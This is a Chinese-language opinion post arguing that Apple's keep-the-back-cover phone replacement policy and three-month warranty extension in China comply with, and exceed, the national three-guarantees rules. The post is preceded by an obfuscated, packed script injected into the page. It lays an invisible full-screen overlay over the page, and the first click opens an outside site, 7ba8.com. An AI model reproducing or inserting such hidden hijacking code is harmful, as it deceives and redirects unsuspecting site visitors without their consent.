<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>apple在遇到硬件故障的手机时，通常采取一种“保留后盖”的整机置换政策。
投诉的主要问题是：1.在其他国家，是整机置换，后盖并不特别对待。2.在置换后，保修期只延长3个月，而不是1年。
两者其实是一个问题，是苹果公司针对中国的三包政策做出的一项降低己方成本的妥协。保留后盖，则意味着“这不是新机”，就不必重新计算1年的保修期。
值得一提的是，如果置换后，机器依然在1年的保修期内，则这3个月的延长等于是无效的。譬如，手机使用6个月后发生故障，更换后保修依然还有6个月，而不是只有3个月。
最后要指出的是，我不认为apple有任何值得指责的地方。来看国家的规定，手机的三包政策到底是啥？
简单而言，
1.7天包退
2.15天包换
3.1年包修
并且有种种关于退换、保修凭证的规定，关于各种问题是否“人为”的规定，等等。
而苹果公司的售后政策，是完全覆盖了国家规定，并且远远超出的。
仅仅一项“14天内可以申请退货”就已经覆盖了前两条了，第三条是从维护变成了置换，并没有对规定产生冲突。
更何况，对于大陆的行货，苹果的任何授权维修点都是不要求凭证的，而对于香港的行货，也仅仅是购买凭证和通行证（不确定）。
我本人体验过一些电子产品的售后，公平地说，苹果是做得相当好的了。
再退一步讲，如果苹果的产品不符合三包政策，那它根本就没办法正常上市，其他公司产品也同理。既然它已经符合了三包政策，只不过演绎不同（而这种不同的演绎是允许的），那消费者有什么权利要求更多呢？在这里，消费者只剩下用脚投票的权利，如果你要求更多，那是越界了。 |
收藏